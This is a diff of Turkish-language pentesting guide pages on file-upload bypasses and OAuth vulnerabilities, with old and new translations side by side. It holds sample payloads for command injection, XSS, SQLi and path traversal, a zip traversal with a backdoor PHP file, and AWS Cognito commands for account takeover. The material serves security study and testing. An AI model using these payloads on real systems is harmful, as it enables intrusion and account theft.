uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, bu da potansiyel istismar kapsamını daha da genişletir.
## **wget Dosya Yükleme/SSRF Hilesi**
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
```bash
#Create file and HTTP server
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirme yapmasıdır**, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
## Araçlar
@ -167,16 +167,16 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunu
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
- **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu ipuçları burada](../command-injection.md)).
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)).
- [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
- **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
- [**ık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yükleri** deneyin.
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin.
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
- Eğer **web sunucusunu bir URL'den resim yakalamaya** yönlendirebilirseniz, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md).
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
- Eğer **web sunucusuna bir URL'den resim yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
- Dosya yüklerken herhangi bir **boyut sınırı** olup olmadığını kontrol edin.
@ -208,7 +208,7 @@ Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatur
### Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz:
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
#### Symlink
@ -218,7 +218,7 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Farklı klasörlerde açma
### Farklı klasörlerde aç
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex Editör veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editör kullanılarak değiştirilir, "xxA" "../" olarak değiştirilerek dizinler arasında geçiş yapılır.
3. **Hex Editörü veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilerek dizinler arasında geçiş yapılır.
```bash
:set modifiable
@ -289,7 +289,7 @@ pop graphic-context
```
## PNG Üzerine PHP Shell Gömme
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, bu bağlamda özellikle önemlidir, çünkü genellikle görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.

View File

@ -4,7 +4,7 @@
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuth, çeşitli versiyonlar sunar ve temel bilgiler [OAuth 2.0 belgeleri](https://oauth.net/2/) adresinde mevcuttur. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu grant türü](https://oauth.net/2/grant-types/authorization-code/) etrafında dönmektedir ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya işlemler gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunmaktadır (yetkilendirme sunucusu).
OAuth, çeşitli versiyonlar sunar ve temel bilgiler [OAuth 2.0 belgeleri](https://oauth.net/2/) adresinde mevcuttur. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu grant türü](https://oauth.net/2/grant-types/authorization-code/) etrafında dönmektedir ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya işlemler gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılmaktadır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **sizin adınıza paylaşımlarınıza erişim** yetkisi kazanır.
@ -21,7 +21,7 @@ OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
- **redirect_uri**: Kullanıcının yetkilendirmeden sonra yönlendirileceği **URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'si ile uyumlu olmalıdır.
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında ve sonrasında **verileri korumak için** bir parametre. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet vermesi açısından kritik öneme sahiptir.
- **grant_type**: **Verilecek token türünü ve grant türünü** belirten bir parametre.
- **code**: `authorization server`'dan alınan yetkilendirme kodu; `client_id` ve `client_secret` ile birlikte `access_token` almak için client application tarafından kullanılır.
- **code**: `authorization server`'dan alınan yetkilendirme kodu; `client application` tarafından `access_token` almak için `client_id` ve `client_secret` ile birlikte kullanılır.
- **access_token**: `resource owner` adına API istekleri için **client application** tarafından kullanılan **token**.
- **refresh_token**: Uygulamanın **kullanıcıyı yeniden istemeden yeni bir `access_token` almasını** sağlar.
@ -40,7 +40,7 @@ https://socialmedia.com/auth
&state=randomString123
```
3. Ardından bir onay sayfası ile karşılaşırsınız.
4. Onayınızı takiben, Sosyal Medya `code` ve `state` parametreleri ile `redirect_uri`'ye bir yanıt gönderir:
4. Onayınızın ardından, Sosyal Medya `code` ve `state` parametreleri ile birlikte `redirect_uri`'ye bir yanıt gönderir:
```
https://example.com?code=uniqueCode123&state=randomString123
```
@ -50,15 +50,15 @@ POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sonuçlanır.
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sona erer.
## Güvenlik Açıkları <a href="#id-323a" id="id-323a"></a>
### Açık redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı sağlar.
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı tanır.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin istismarı ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişiklik gösterebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin istismarı ve token hırsızlığı için HTML enjeksiyonu yer alır.
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve sunucular arasında destekleri değişiklik gösterir.
@ -66,15 +66,15 @@ OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openi
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin sunucunun yanıtında yansıtılması** mümkün olabilir, bu da **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) yönlendirme **URL'sinin sunucunun yanıtında yansıtılması** mümkün olabilir, bu da **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - State parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresi **kullanılmadığında, statik bir değer olarak kullanıldığında veya düzgün bir şekilde doğrulanmadığında** ortaya çıkar ve saldırganların CSRF korumalarınımasına olanak tanır.
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu durum, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
Saldırganlar, yetkilendirme sürecini kesintiye uğratarak kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hackleme platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilmektedir.
@ -82,14 +82,14 @@ Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **ha
### Hesap Ele Geçirmeden Önce <a href="#ebe4" id="ebe4"></a>
1. **Hesap Oluşturma Sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
1. **Hesap Oluşturma sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.
### Gizli Bilgilerin Açığa Çıkması <a href="#e177" id="e177"></a>
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini kötüye kullanarak **kullanıcı `access_tokens`** ve özel bilgileri çalabilir.
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşa edilmesi önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini kötüye kullanarak **kullanıcı `access_tokens`** ve özel bilgileri çalabilir.
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına neden olur ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
### Client Secret Bruteforce
@ -106,27 +106,27 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
Müşteri **kod ve durum** bilgilerini aldıktan sonra, eğer bu bilgiler **Referer başlığında yansıyorsa** ve farklı bir sayfaya gittiğinde, o zaman bu açık durumdadır.
Müşteri **kod ve durum** bilgilerini aldıktan sonra, eğer bu bilgiler **Referer başlığında yansıyorsa** ve farklı bir sayfaya geçiş yapıyorsa, o zaman bu sistem zayıf.
### Access Token Stored in Browser History
### Tarayıcı Geçmişinde Saklanan Erişim Token'ı
**Tarayıcı geçmişine gidin ve access token'ın orada kaydedilip kaydedilmediğini kontrol edin**.
**Tarayıcı geçmişine gidin ve erişim token'ının orada kaydedilip kaydedilmediğini kontrol edin**.
### Everlasting Authorization Code
### Sürekli Yetkilendirme Kodu
**Yetkilendirme kodu, bir saldırganın onu çalabileceği ve kullanabileceği zaman penceresini sınırlamak için sadece bir süre geçerli olmalıdır**.
**Yetkilendirme kodu, bir saldırganın onu çalabileceği ve kullanabileceği zaman penceresini sınırlamak için sadece bir süre boyunca geçerli olmalıdır**.
### Authorization/Refresh Token not bound to client
### Yetkilendirme/Yenileme Token'ı istemciye bağlı değil
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, diğer hesapları ele geçirebilirsiniz**.
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
### Mutlu Yollar, XSS, Iframe'ler ve Kod & Durum Değerlerini Sızdırmak için Post Mesajları
[**Bu gönderiyi kontrol edin**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito <a href="#bda5" id="bda5"></a>
Bu bug bounty raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın, kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcının e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın** **kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -153,24 +153,24 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
[**bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Ardından, bir kurban Facebook ile **saldırganın uygulamasında** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın kullanıcı token'ını kullanarak kurbanın OAuth uygulamasında giriş yapmak için kullanabilir**.
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Ardından, bir kurban Facebook ile **saldırganın uygulamasına** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın kullanıcı token'ı ile kurbanın OAuth uygulamasında giriş yapmak için kullanabilir**.
> [!DİKKAT]
> Bu nedenle, eğer saldırgan kullanıcıyı kendi OAuth uygulamasına eriştirmeyi başarırsa, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
### İki Bağlantı & Çerez <a href="#bda5" id="bda5"></a>
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması mümkün olmuştur. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** kullanıcının o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması mümkün olmuştur. Bu bilgi **çerezde (RU)** saklanacak ve **sonraki adımda** **istem** kullanıcının o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlamak için **Oauth akışını** başlatmak üzere bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve bu değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
### İstem Etkileşimi Atlatma <a href="#bda5" id="bda5"></a>
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webde verilen erişimi onaylamaları için bir istemde sorulmasını **önlemek** amacıyla **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmeye izin verir.
### response_mode
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), **`response_mode`** parametresini, kodun son URL'de nerede sağlanmasını istediğinizi belirtmek için kullanmak mümkün olabilir:
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), kodun son URL'de nerede sağlanacağını belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
- `response_mode=query` -> Kod bir GET parametresi içinde sağlanır: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Kod URL parçası parametresi içinde sağlanır `#code=2397rf3gu93f`
@ -183,12 +183,12 @@ Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlamak iç
### Açık yönlendirmeye dayalı web sayfasında ATO <a href="#bda5" id="bda5"></a>
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanabileceğinizi anlatıyor. Saldırı şu şekildeydi:
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanmanın mümkün olduğunu yorumlamaktadır. Saldırı şu şekildedir:
1. Kurban saldırganın web sayfasına erişir.
1. Kurban saldırganın web sayfasına erişir
2. Kurban kötü niyetli bağlantıyı açar ve bir açıcı, **saldırganın web sitesi** referansını kullanarak `response_type=id_token,code&prompt=none` ek parametreleri ile Google OAuth akışını başlatır.
3. Açıcı, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
4. Kurban **web sitesi, referansa dayalıık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir; çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana URL'nin **parçasında** geri gönderilecektir, bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
4. Kurban **web sitesi, referansa dayalıık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir, çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana URL'nin **parçasında** geri gönderilecektir ve bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
### SSRF'lerin parametreleri <a href="#bda5" id="bda5"></a>
